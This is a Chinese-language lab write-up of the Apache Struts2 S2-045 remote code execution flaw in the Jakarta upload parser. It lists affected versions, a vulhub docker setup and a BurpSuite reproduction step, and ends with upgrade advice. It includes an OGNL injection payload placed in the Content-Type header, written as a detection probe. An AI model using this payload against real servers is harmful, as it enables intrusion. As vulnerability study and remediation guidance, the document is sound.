概述
在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。
参考
- https://cwiki.apache.org/confluence/display/WW/S2-045
- https://paper.seebug.org/247/
https://blog.csdn.net/u011721501/article/details/60768657
影响版本
Struts 2.3.5 - 2.3.31
-
Payload
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',1+1)}.multipart/form-data
检测是否受影响
漏洞复现
搭建环境
cd vulhub/struts2/s2-045/
docker-compose up -d
tomcat-8.5/struts-2.3.30
-
检测是否存在漏洞
复现过程
使用 BurpSuite 抓包修改 Content-Type 值插入 Poc漏洞修复
如果您使用基于 Jakarta 的文件上传 Multipart 解析器,请升级到 Apache Struts 版本 2.3.32 或 2.5.10.1
您还可以切换到 Multipart 解析器的不同实现
参考